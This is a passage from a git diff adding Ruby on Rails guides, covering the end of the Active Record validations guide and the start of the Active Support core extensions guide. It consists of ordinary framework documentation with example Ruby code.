+searching for an existing record with the same value in that attribute.
+
+There is a `:scope` option that you can use to specify one or more attributes that
+are used to limit the uniqueness check:
+
+```ruby
+class Holiday < ApplicationRecord
+  validates :name, uniqueness: { scope: :year,
+    message: "should happen once per year" }
+end
+```
+Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](https://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns.
+
+There is also a `:case_sensitive` option that you can use to define whether the
+uniqueness constraint will be case sensitive or not. This option defaults to
+true.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, uniqueness: { case_sensitive: false }
+end
+```
+
+WARNING. Note that some databases are configured to perform case-insensitive
+searches anyway.
+
+The default error message is _"has already been taken"_.
+
+### `validates_with`
+
+This helper passes the record to a separate class for validation.
+
+```ruby
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if record.first_name == "Evil"
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator
+end
+```
+
+NOTE: Errors added to `record.errors[:base]` relate to the state of the record
+as a whole, and not to a specific attribute.
+
+The `validates_with` helper takes a class, or a list of classes to use for
+validation. There is no default error message for `validates_with`. You must
+manually add errors to the record's errors collection in the validator class.
+
+To implement the validate method, you must have a `record` parameter defined,
+which is the record to be validated.
+
+Like all other validations, `validates_with` takes the `:if`, `:unless` and
+`:on` options. If you pass any other options, it will send those options to the
+validator class as `options`:
+
+```ruby
+class GoodnessValidator < ActiveModel::Validator
+  def validate(record)
+    if options[:fields].any?{|field| record.send(field) == "Evil" }
+      record.errors[:base] << "This person is evil"
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
+```
+
+Note that the validator will be initialized *only once* for the whole application
+life cycle, and not on each validation run, so be careful about using instance
+variables inside it.
+
+If your validator is complex enough that you want instance variables, you can
+easily use a plain old Ruby object instead:
+
+```ruby
+class Person < ApplicationRecord
+  validate do |person|
+    GoodnessValidator.new(person).validate
+  end
+end
+
+class GoodnessValidator
+  def initialize(person)
+    @person = person
+  end
+
+  def validate
+    if some_complex_condition_involving_ivars_and_private_methods?
+      @person.errors[:base] << "This person is evil"
+    end
+  end
+
+  # ...
+end
+```
+
+### `validates_each`
+
+This helper validates attributes against a block. It doesn't have a predefined
+validation function. You should create one using a block, and every attribute
+passed to `validates_each` will be tested against it. In the following example,
+we don't want names and surnames to begin with lower case.
+
+```ruby
+class Person < ApplicationRecord
+  validates_each :name, :surname do |record, attr, value|
+    record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
+  end
+end
+```
+
+The block receives the record, the attribute's name and the attribute's value.
+You can do anything you like to check for valid data within the block. If your
+validation fails, you should add an error message to the model, therefore
+making it invalid.
+
+Common Validation Options
+-------------------------
+
+These are common validation options:
+
+### `:allow_nil`
+
+The `:allow_nil` option skips the validation when the value being validated is
+`nil`.
+
+```ruby
+class Coffee < ApplicationRecord
+  validates :size, inclusion: { in: %w(small medium large),
+    message: "%{value} is not a valid size" }, allow_nil: true
+end
+```
+
+For full options to the message argument please see the
+[message documentation](#message).
+
+### `:allow_blank`
+
+The `:allow_blank` option is similar to the `:allow_nil` option. This option
+will let validation pass if the attribute's value is `blank?`, like `nil` or an
+empty string for example.
+
+```ruby
+class Topic < ApplicationRecord
+  validates :title, length: { is: 5 }, allow_blank: true
+end
+
+Topic.create(title: "").valid?  # => true
+Topic.create(title: nil).valid? # => true
+```
+
+### `:message`
+
+As you've already seen, the `:message` option lets you specify the message that
+will be added to the `errors` collection when validation fails. When this
+option is not used, Active Record will use the respective default error message
+for each validation helper. The `:message` option accepts a `String` or `Proc`.
+
+A `String` `:message` value can optionally contain any/all of `%{value}`,
+`%{attribute}`, and `%{model}` which will be dynamically replaced when
+validation fails. This replacement is done using the I18n gem, and the
+placeholders must match exactly, no spaces are allowed.
+
+A `Proc` `:message` value is given two arguments: the object being validated, and
+a hash with `:model`, `:attribute`, and `:value` key-value pairs.
+
+```ruby
+class Person < ApplicationRecord
+  # Hard-coded message
+  validates :name, presence: { message: "must be given please" }
+
+  # Message with dynamic attribute value. %{value} will be replaced with
+  # the actual value of the attribute. %{attribute} and %{model} also
+  # available.
+  validates :age, numericality: { message: "%{value} seems wrong" }
+
+  # Proc
+  validates :username,
+    uniqueness: {
+      # object = person object being validated
+      # data = { model: "Person", attribute: "Username", value: <username> }
+      message: ->(object, data) do
+        "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}"
+      end
+    }
+end
+```
+
+### `:on`
+
+The `:on` option lets you specify when the validation should happen. The
+default behavior for all the built-in validation helpers is to be run on save
+(both when you're creating a new record and when you're updating it). If you
+want to change it, you can use `on: :create` to run the validation only when a
+new record is created or `on: :update` to run the validation only when a record
+is updated.
+
+```ruby
+class Person < ApplicationRecord
+  # it will be possible to update email with a duplicated value
+  validates :email, uniqueness: true, on: :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates :age, numericality: true, on: :update
+
+  # the default (validates on both create and update)
+  validates :name, presence: true
+end
+```
+
+You can also use `on:` to define custom context.
+Custom contexts need to be triggered explicitly
+by passing name of the context to `valid?`, `invalid?` or `save`.
+
+```ruby
+class Person < ApplicationRecord
+  validates :email, uniqueness: true, on: :account_setup
+  validates :age, numericality: true, on: :account_setup
+end
+
+person = Person.new
+```
+
+`person.valid?(:account_setup)` executes both the validations
+without saving the model. And `person.save(context: :account_setup)`
+validates `person` in `account_setup` context before saving.
+On explicit triggers, model is validated by
+validations of only that context and validations without context.
+
+Strict Validations
+------------------
+
+You can also specify validations to be strict and raise
+`ActiveModel::StrictValidationFailed` when the object is invalid.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: { strict: true }
+end
+
+Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank
+```
+
+There is also the ability to pass a custom exception to the `:strict` option.
+
+```ruby
+class Person < ApplicationRecord
+  validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
+end
+
+Person.new.valid?  # => TokenGenerationException: Token can't be blank
+```
+
+Conditional Validation
+----------------------
+
+Sometimes it will make sense to validate an object only when a given predicate
+is satisfied. You can do that by using the `:if` and `:unless` options, which
+can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if`
+option when you want to specify when the validation **should** happen. If you
+want to specify when the validation **should not** happen, then you may use the
+`:unless` option.
+
+### Using a Symbol with `:if` and `:unless`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding
+to the name of a method that will get called right before validation happens.
+This is the most commonly used option.
+
+```ruby
+class Order < ApplicationRecord
+  validates :card_number, presence: true, if: :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+```
+
+### Using a Proc with `:if` and `:unless`
+
+Finally, it's possible to associate `:if` and `:unless` with a `Proc` object
+which will be called. Using a `Proc` object gives you the ability to write an
+inline condition instead of a separate method. This option is best suited for
+one-liners.
+
+```ruby
+class Account < ApplicationRecord
+  validates :password, confirmation: true,
+    unless: Proc.new { |a| a.password.blank? }
+end
+```
+
+### Grouping Conditional validations
+
+Sometimes it is useful to have multiple validations use one condition. It can
+be easily achieved using `with_options`.
+
+```ruby
+class User < ApplicationRecord
+  with_options if: :is_admin? do |admin|
+    admin.validates :password, length: { minimum: 10 }
+    admin.validates :email, presence: true
+  end
+end
+```
+
+All validations inside of the `with_options` block will have automatically
+passed the condition `if: :is_admin?`
+
+### Combining Validation Conditions
+
+On the other hand, when multiple conditions define whether or not a validation
+should happen, an `Array` can be used. Moreover, you can apply both `:if` and
+`:unless` to the same validation.
+
+```ruby
+class Computer < ApplicationRecord
+  validates :mouse, presence: true,
+                    if: [Proc.new  { |c| c.market.retail? }, :desktop?],
+                    unless: Proc.new { |c| c.trackpad.present? }
+end
+```
+
+The validation only runs when all the `:if` conditions and none of the
+`:unless` conditions are evaluated to `true`.
+
+Performing Custom Validations
+-----------------------------
+
+When the built-in validation helpers are not enough for your needs, you can
+write your own validators or validation methods as you prefer.
+
+### Custom Validators
+
+Custom validators are classes that inherit from `ActiveModel::Validator`. These
+classes must implement the `validate` method which takes a record as an argument
+and performs the validation on it. The custom validator is called using the
+`validates_with` method.
+
+```ruby
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    unless record.name.starts_with? 'X'
+      record.errors[:name] << 'Need a name starting with X please!'
+    end
+  end
+end
+
+class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+```
+
+The easiest way to add custom validators for validating individual attributes
+is with the convenient `ActiveModel::EachValidator`. In this case, the custom
+validator class must implement a `validate_each` method which takes three
+arguments: record, attribute, and value. These correspond to the instance, the
+attribute to be validated, and the value of the attribute in the passed
+instance.
+
+```ruby
+class EmailValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+      record.errors[attribute] << (options[:message] || "is not an email")
+    end
+  end
+end
+
+class Person < ApplicationRecord
+  validates :email, presence: true, email: true
+end
+```
+
+As shown in the example, you can also combine standard validations with your
+own custom validators.
+
+### Custom Methods
+
+You can also create methods that verify the state of your models and add
+messages to the `errors` collection when they are invalid. You must then
+register these methods by using the `validate`
+([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate))
+class method, passing in the symbols for the validation methods' names.
+
+You can pass more than one symbol for each class method and the respective
+validations will be run in the same order as they were registered.
+
+The `valid?` method will verify that the errors collection is empty,
+so your custom validation methods should add errors to it when you
+wish validation to fail:
+
+```ruby
+class Invoice < ApplicationRecord
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    if expiration_date.present? && expiration_date < Date.today
+      errors.add(:expiration_date, "can't be in the past")
+    end
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    if discount > total_value
+      errors.add(:discount, "can't be greater than total value")
+    end
+  end
+end
+```
+
+By default, such validations will run every time you call `valid?`
+or save the object. But it is also possible to control when to run these
+custom validations by giving an `:on` option to the `validate` method,
+with either: `:create` or `:update`.
+
+```ruby
+class Invoice < ApplicationRecord
+  validate :active_customer, on: :create
+
+  def active_customer
+    errors.add(:customer_id, "is not active") unless customer.active?
+  end
+end
+```
+
+Working with Validation Errors
+------------------------------
+
+In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects.
+
+The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods.
+
+### `errors`
+
+Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.messages
+ # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors.messages # => {}
+```
+
+### `errors[]`
+
+`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new(name: "John Doe")
+person.valid? # => true
+person.errors[:name] # => []
+
+person = Person.new(name: "JD")
+person.valid? # => false
+person.errors[:name] # => ["is too short (minimum is 3 characters)"]
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.add`
+
+The `add` method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message.
+
+The `errors.full_messages` method (or its equivalent, `errors.to_a`) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below.
+
+```ruby
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors[:name]
+ # => ["cannot contain the characters !@#%*()_-+="]
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+An equivalent to `errors#add` is to use `<<` to append a message to the `errors.messages` array for an attribute:
+
+```ruby
+  class Person < ApplicationRecord
+    def a_method_used_for_validation_purposes
+      errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
+    end
+  end
+
+  person = Person.create(name: "!@#")
+
+  person.errors[:name]
+   # => ["cannot contain the characters !@#%*()_-+="]
+
+  person.errors.to_a
+   # => ["Name cannot contain the characters !@#%*()_-+="]
+```
+
+### `errors.details`
+
+You can specify a validator type to the returned error details hash using the
+`errors.add` method.
+
+```ruby
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters)
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters}]
+```
+
+To improve the error details to contain the unallowed characters set for instance,
+you can pass additional keys to `errors.add`.
+
+```ruby
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
+  end
+end
+
+person = Person.create(name: "!@#")
+
+person.errors.details[:name]
+# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]
+```
+
+All built in Rails validators populate the details hash with the corresponding
+validator type.
+
+### `errors[:base]`
+
+You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message.
+
+```ruby
+class Person < ApplicationRecord
+  def a_method_used_for_validation_purposes
+    errors[:base] << "This person is invalid because ..."
+  end
+end
+```
+
+### `errors.clear`
+
+The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors[:name]
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+person.save # => false
+
+person.errors[:name]
+# => ["can't be blank", "is too short (minimum is 3 characters)"]
+```
+
+### `errors.size`
+
+The `size` method returns the total number of error messages for the object.
+
+```ruby
+class Person < ApplicationRecord
+  validates :name, presence: true, length: { minimum: 3 }
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 2
+
+person = Person.new(name: "Andrea", email: "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+```
+
+Displaying Validation Errors in Views
+-------------------------------------
+
+Once you've created a model and added validations, if that model is created via
+a web form, you probably want to display an error message when one of the
+validations fail.
+
+Because every application handles this kind of thing differently, Rails does
+not include any view helpers to help you generate these messages directly.
+However, due to the rich number of methods Rails gives you to interact with
+validations in general, it's fairly easy to build your own. In addition, when
+generating a scaffold, Rails will put some ERB into the `_form.html.erb` that
+it generates that displays the full list of errors on that model.
+
+Assuming we have a model that's been saved in an instance variable named
+`@article`, it looks like this:
+
+```ruby
+<% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>
+
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+<% end %>
+```
+
+Furthermore, if you use the Rails form helpers to generate your forms, when
+a validation error occurs on a field, it will generate an extra `<div>` around
+the entry.
+
+```
+<div class="field_with_errors">
+ <input id="article_title" name="article[title]" size="30" type="text" value="">
+</div>
+```
+
+You can then style this div however you'd like. The default scaffold that
+Rails generates, for example, adds this CSS rule:
+
+```
+.field_with_errors {
+  padding: 2px;
+  background-color: red;
+  display: table;
+}
+```
+
+This means that any field with an error ends up with a 2 pixel red border.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
new file mode 100644
index 0000000000..4c37f6aba9
--- /dev/null
+++ b/guides/source/active_support_core_extensions.md
@@ -0,0 +1,3748 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Support Core Extensions
+==============================
+
+Active Support is the Ruby on Rails component responsible for providing Ruby language extensions, utilities, and other transversal stuff.
+
+It offers a richer bottom-line at the language level, targeted both at the development of Rails applications, and at the development of Ruby on Rails itself.
+
+After reading this guide, you will know:
+
+* What Core Extensions are.
+* How to load all extensions.
+* How to cherry-pick just the extensions you want.
+* What extensions Active Support provides.
+
+--------------------------------------------------------------------------------
+
+How to Load Core Extensions
+---------------------------
+
+### Stand-Alone Active Support
+
+In order to have a near-zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you can load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.
+
+Thus, after a simple require like:
+
+```ruby
+require 'active_support'
+```
+
+objects do not even respond to `blank?`. Let's see how to load its definition.
+
+#### Cherry-picking a Definition
+
+The most lightweight way to get `blank?` is to cherry-pick the file that defines it.
+
+For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of `blank?` the note reads:
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+That means that you can require it like this:
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext/object/blank'
+```
+
+Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
+
+#### Loading Grouped Core Extensions
+
+The next level is to simply load all extensions to `Object`. As a rule of thumb, extensions to `SomeClass` are available in one shot by loading `active_support/core_ext/some_class`.
+
+Thus, to load all extensions to `Object` (including `blank?`):
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext/object'
+```
+
+#### Loading All Core Extensions
+
+You may prefer just to load all core extensions, there is a file for that:
+
+```ruby
+require 'active_support'
+require 'active_support/core_ext'
+```
+
+#### Loading All Active Support
+
+And finally, if you want to have all Active Support available just issue:
+
+```ruby
+require 'active_support/all'
+```
+
+That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via `autoload`, so it is only loaded if used.
+
+### Active Support Within a Ruby on Rails Application
+
+A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+
+Extensions to All Objects
+-------------------------
+
+### `blank?` and `present?`
+
+The following values are considered to be blank in a Rails application:
+
+* `nil` and `false`,
+
+* strings composed only of whitespace (see note below),
+
+* empty arrays and hashes, and
+
+* any other object that responds to `empty?` and is empty.
+
+INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.
+
+WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
+
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
+
+```ruby
+def authenticate(controller, &login_procedure)
+  token, options = token_and_options(controller.request)
+  unless token.blank?
+    login_procedure.call(token, options)
+  end
+end
+```
+
+The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
+
+```ruby
+def set_conditional_cache_control!
+  return if self["Cache-Control"].present?
+  ...
+end
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `presence`
+
+The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
+
+```ruby
+host = config[:host].presence || 'localhost'
+```
+
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
+
+### `duplicable?`
+
+In Ruby 2.4 most objects can be duplicated via `dup` or `clone` except 
+methods and certain numbers. Though Ruby 2.2 and 2.3 can't duplicate `nil`,
+`false`, `true`, and  symbols as well as instances `Float`, `Fixnum`, 
+and `Bignum` instances.
+
+```ruby
+"foo".dup           # => "foo"
+"".dup              # => ""
+1.method(:+).dup    # => TypeError: allocator undefined for Method
+Complex(0).dup      # => TypeError: can't copy Complex
+```
+
+Active Support provides `duplicable?` to query an object about this:
+
+```ruby
+"foo".duplicable?           # => true
+"".duplicable?              # => true
+Rational(1).duplicable?     # => false
+Complex(1).duplicable?      # => false
+1.method(:+).duplicable?    # => false
+```
+
+`duplicable?` matches Ruby's `dup` according to the Ruby version.
+
+So in 2.4:
+
+```ruby
+nil.dup                 # => nil
+:my_symbol.dup          # => :my_symbol
+1.dup                   # => 1
+
+nil.duplicable?         # => true
+:my_symbol.duplicable?  # => true
+1.duplicable?           # => true
+```
+
+Whereas in 2.2 and 2.3:
+
+```ruby
+nil.dup                 # => TypeError: can't dup NilClass
+:my_symbol.dup          # => TypeError: can't dup Symbol
+1.dup                   # => TypeError: can't dup Fixnum
+
+nil.duplicable?         # => false
+:my_symbol.duplicable?  # => false
+1.duplicable?           # => false
+```
+
+WARNING: Any class can disallow duplication by removing `dup` and `clone` or raising exceptions from them. Thus only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
+
+NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
+
+### `deep_dup`
+
+The `deep_dup` method returns a deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this:
+
+```ruby
+array     = ['string']
+duplicate = array.dup
+
+duplicate.push 'another-string'
+
+# the object was duplicated, so the element was added only to the duplicate
+array     # => ['string']
+duplicate # => ['string', 'another-string']
+
+duplicate.first.gsub!('string', 'foo')
+
+# first element was not duplicated, it will be changed in both arrays
+array     # => ['foo']
+duplicate # => ['foo', 'another-string']
+```
+
+As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
+
+If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
+
+```ruby
+array     = ['string']
+duplicate = array.deep_dup
+
+duplicate.first.gsub!('string', 'foo')
+
+array     # => ['string']
+duplicate # => ['foo']
+```
+
+If the object is not duplicable, `deep_dup` will just return it:
+
+```ruby
+number = 1
+duplicate = number.deep_dup
+number.object_id == duplicate.object_id   # => true
+```
+
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
+
+### `try`
+
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
+
+Here is an example:
+
+```ruby
+# without try
+unless @number.nil?
+  @number.next
+end
+
+# with try
+@number.try(:next)
+```
+
+Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.
+
+```ruby
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+```
+
+`try` can also be called without arguments but a block, which will only be executed if the object is not nil:
+
+```ruby
+@person.try { |p| "#{p.first_name} #{p.last_name}" }
+```
+
+Note that `try` will swallow no-method errors, returning nil instead. If you want to protect against typos, use `try!` instead:
+
+```ruby
+@number.try(:nest)  # => nil
+@number.try!(:nest) # NoMethodError: undefined method `nest' for 1:Integer
+```
+
+NOTE: Defined in `active_support/core_ext/object/try.rb`.
+
+### `class_eval(*args, &block)`
+
+You can evaluate code in the context of any object's singleton class using `class_eval`:
+
+```ruby
+class Proc
+  def bind(object)
+    block, time = self, Time.current
+    object.class_eval do
+      method_name = "__bind_#{time.to_i}_#{time.usec}"
+      define_method(method_name, &block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
+
+### `acts_like?(duck)`
+
+The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
+
+```ruby
+def acts_like_string?
+end
+```
+
+which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
+
+```ruby
+some_klass.acts_like?(:string)
+```
+
+Rails has classes that act like `Date` or `Time` and follow this contract.
+
+NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
+
+### `to_param`
+
+All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
+
+By default `to_param` just calls `to_s`:
+
+```ruby
+7.to_param # => "7"
+```
+
+The return value of `to_param` should **not** be escaped:
+
+```ruby
+"Tom & Jerry".to_param # => "Tom & Jerry"
+```
+
+Several classes in Rails overwrite this method.
+
+For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
+
+```ruby
+[0, true, String].to_param # => "0/true/String"
+```
+
+Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given
+
+```ruby
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+```
+
+we get:
+
+```ruby
+user_path(@user) # => "/users/357-john-smith"
+```
+
+WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.
+
+NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
+
+### `to_query`
+
+Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
+
+```ruby
+class User
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+```
+
+we get:
+
+```ruby
+current_user.to_query('user') # => "user=357-john-smith"
+```
+
+This method escapes whatever is needed, both for the key and the value:
+
+```ruby
+account.to_query('company[name]')
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+```
+
+so its output is ready to be used in a query string.
+
+Arrays return the result of applying `to_query` to each element with `key[]` as key, and join the result with "&":
+
+```ruby
+[3.4, -45.6].to_query('sample')
+# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
+```
+
+Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
+
+```ruby
+{c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3"
+```
+
+The method `Hash#to_query` accepts an optional namespace for the keys:
+
+```ruby
+{id: 89, name: "John Smith"}.to_query('user')
+# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
+```
+
+NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
+
+### `with_options`
+
+The method `with_options` provides a way to factor out common options in a series of method calls.
+
+Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+
+```ruby
+class Account < ApplicationRecord
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+```
+
+this way:
+
+```ruby
+class Account < ApplicationRecord
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+```
+
+That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
+
+```ruby
+I18n.with_options locale: user.locale, scope: "newsletter" do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+```
+
+TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+
+NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
+
+### JSON support
+
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
+
+NOTE: Defined in `active_support/core_ext/object/json.rb`.
+
+### Instance Variables
+
+Active Support provides several methods to ease access to instance variables.
+
+#### `instance_values`
+
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
+corresponding values. Keys are strings:
+
+```ruby
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+#### `instance_variable_names`
+
+The method `instance_variable_names` returns an array. Each name includes the "@" sign.
+
+```ruby
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@x", "@y"]
+```
+
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
+
+### Silencing Warnings and Exceptions
+
+The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
+
+```ruby
+silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
+```
+
+Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is not captured:
+
+```ruby
+# If the user is locked, the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+```
+
+NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
+
+### `in?`
+
+The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`.
+
+Examples of `in?`:
+
+```ruby
